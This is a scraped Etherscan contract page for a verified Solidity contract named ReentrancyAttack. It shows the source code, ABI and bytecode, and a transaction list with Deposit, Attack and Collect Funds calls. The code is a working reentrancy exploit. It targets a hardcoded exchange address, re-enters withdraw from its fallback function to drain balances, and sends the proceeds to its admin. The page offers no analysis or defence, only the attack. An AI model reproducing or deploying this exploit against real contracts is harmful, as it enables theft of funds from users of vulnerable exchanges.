Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00Latest 6 from a total of 6 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Collect Funds | 20432498 | 594 days ago | IN | 0 ETH | 0.00018333 | ||||
| Attack | 20432407 | 594 days ago | IN | 0 ETH | 0.0002834 | ||||
| Deposit ETH | 20432405 | 594 days ago | IN | 0.01 ETH | 0.0001705 | ||||
| Attack | 20432392 | 594 days ago | IN | 0 ETH | 0.0001416 | ||||
| Deposit | 20432361 | 594 days ago | IN | 0.01 ETH | 0.00089177 | ||||
| Deposit | 20432091 | 595 days ago | IN | 0.01 ETH | 0.00045843 |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ReentrancyAttack
Compiler Version
v0.4.16+commit.d7661dd9
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-08-01
*/
pragma solidity ^0.4.16;
interface Exchange {
function deposit() external payable;
function withdraw(address token, uint256 amount) external returns (bool success);
}
contract ReentrancyAttack {
Exchange public exchange;
address public admin;
uint256 public count;
// Old-style constructor using the contract name
function ReentrancyAttack() public {
exchange = Exchange(0x2a0c0DBEcC7E4D658f48E01e3fA353F44050c208);
admin = msg.sender;
}
// Modifier to allow only the admin to execute certain functions
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
// Function to deposit ETH into this contract
function depositETH() external payable onlyAdmin {
require(msg.value > 0);
}
// Function to deposit ETH into the Exchange contract (admin only)
function deposit() external payable onlyAdmin {
require(msg.value > 0);
exchange.deposit.value(msg.value)();
}
// Function to initiate the reentrancy attack with adjustable amount (admin only)
function attack(uint256 amount) external onlyAdmin {
require(amount > 0 && amount <= address(this).balance);
exchange.withdraw(0x0000000000000000000000000000000000000000, amount);
}
// Optimized fallback function to reenter withdrawal, no balance check
function () external payable {
count++; // Simple increment to track reentries
exchange.withdraw(0x0000000000000000000000000000000000000000, address(this).balance);
}
// Function to collect all funds in the contract (admin only)
function collectFunds() external onlyAdmin {
uint256 contractBalance = address(this).balance;
require(contractBalance > 0);
admin.transfer(contractBalance);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"constant":true,"inputs":[],"name":"count","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"collectFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"attack","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"exchange","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"depositETH","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"admin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]Contract Creation Code
6060604052341561000f57600080fd5b5b732a0c0dbecc7e4d658f48e01e3fa353f44050c2086000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b610714806100b66000396000f30060606040523615610081576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306661abd146101975780635b980628146101c057806364dd891a146101d5578063d0e30db0146101f8578063d2f7265a14610202578063f6326fb314610257578063f851a44014610261575b5b6002600081548092919060010191905055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a360003073ffffffffffffffffffffffffffffffffffffffff16316000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561017857600080fd5b6102c65a03f1151561018957600080fd5b50505060405180519050505b005b34156101a257600080fd5b6101aa6102b6565b6040518082815260200191505060405180910390f35b34156101cb57600080fd5b6101d36102bc565b005b34156101e057600080fd5b6101f660048080359060200190919050506103aa565b005b610200610526565b005b341561020d57600080fd5b61021561062e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61025f610653565b005b341561026c57600080fd5b6102746106c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60025481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561031a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905060008111151561034357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156103a557600080fd5b5b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561040657600080fd5b60008111801561042d57503073ffffffffffffffffffffffffffffffffffffffff16318111155b151561043857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a36000836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561050557600080fd5b6102c65a03f1151561051657600080fd5b50505060405180519050505b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561058257600080fd5b60003411151561059157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b151561061557600080fd5b6125ee5a03f1151561062657600080fd5b505050505b5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106af57600080fd5b6000341115156106be57600080fd5b5b5b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820556bb54e681501b16c6cfdb3eb2d3c95f6cf9d241d4221eed169736fc07c21590029
Deployed Bytecode
0x60606040523615610081576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306661abd146101975780635b980628146101c057806364dd891a146101d5578063d0e30db0146101f8578063d2f7265a14610202578063f6326fb314610257578063f851a44014610261575b5b6002600081548092919060010191905055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a360003073ffffffffffffffffffffffffffffffffffffffff16316000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561017857600080fd5b6102c65a03f1151561018957600080fd5b50505060405180519050505b005b34156101a257600080fd5b6101aa6102b6565b6040518082815260200191505060405180910390f35b34156101cb57600080fd5b6101d36102bc565b005b34156101e057600080fd5b6101f660048080359060200190919050506103aa565b005b610200610526565b005b341561020d57600080fd5b61021561062e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61025f610653565b005b341561026c57600080fd5b6102746106c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60025481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561031a57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905060008111151561034357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156103a557600080fd5b5b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561040657600080fd5b60008111801561042d57503073ffffffffffffffffffffffffffffffffffffffff16318111155b151561043857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f3fef3a36000836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561050557600080fd5b6102c65a03f1151561051657600080fd5b50505060405180519050505b5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561058257600080fd5b60003411151561059157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b151561061557600080fd5b6125ee5a03f1151561062657600080fd5b505050505b5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106af57600080fd5b6000341115156106be57600080fd5b5b5b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820556bb54e681501b16c6cfdb3eb2d3c95f6cf9d241d4221eed169736fc07c21590029
Deployed Bytecode Sourcemap
184:1681:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1408:189;1448:5;;:7;;;;;;;;;;;;;1505:8;;;;;;;;;;;:17;;;1523:42;1575:4;1567:21;;;1505:84;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1408:189;184:1681;275:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1672:190;;;;;;;;;;;;;;1120:204;;;;;;;;;;;;;;;;;;;;;;;;;;891:134;;;;;;217:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;721:90;;;;;;248:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;275;;;;:::o;1672:190::-;1726:23;636:5;;;;;;;;;;;622:19;;:10;:19;;;614:28;;;;;;;;1760:4;1752:21;;;1726:47;;1810:1;1792:15;:19;1784:28;;;;;;;;1823:5;;;;;;;;;;;:14;;:31;1838:15;1823:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;653:1;1672:190;;:::o;1120:204::-;636:5;;;;;;;;;;;622:19;;:10;:19;;;614:28;;;;;;;;1199:1;1190:6;:10;:45;;;;;1222:4;1214:21;;;1204:6;:31;;1190:45;1182:54;;;;;;;;1247:8;;;;;;;;;;;:17;;;1265:42;1309:6;1247:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;653:1;1120:204;;:::o;891:134::-;636:5;;;;;;;;;;;622:19;;:10;:19;;;614:28;;;;;;;;968:1;956:9;:13;948:22;;;;;;;;981:8;;;;;;;;;;;:16;;;1004:9;981:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;653:1;891:134;:::o;217:24::-;;;;;;;;;;;;;:::o;721:90::-;636:5;;;;;;;;;;;622:19;;:10;:19;;;614:28;;;;;;;;801:1;789:9;:13;781:22;;;;;;;;653:1;721:90;:::o;248:20::-;;;;;;;;;;;;;:::o
Swarm Source
bzzr://556bb54e681501b16c6cfdb3eb2d3c95f6cf9d241d4221eed169736fc07c2159
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.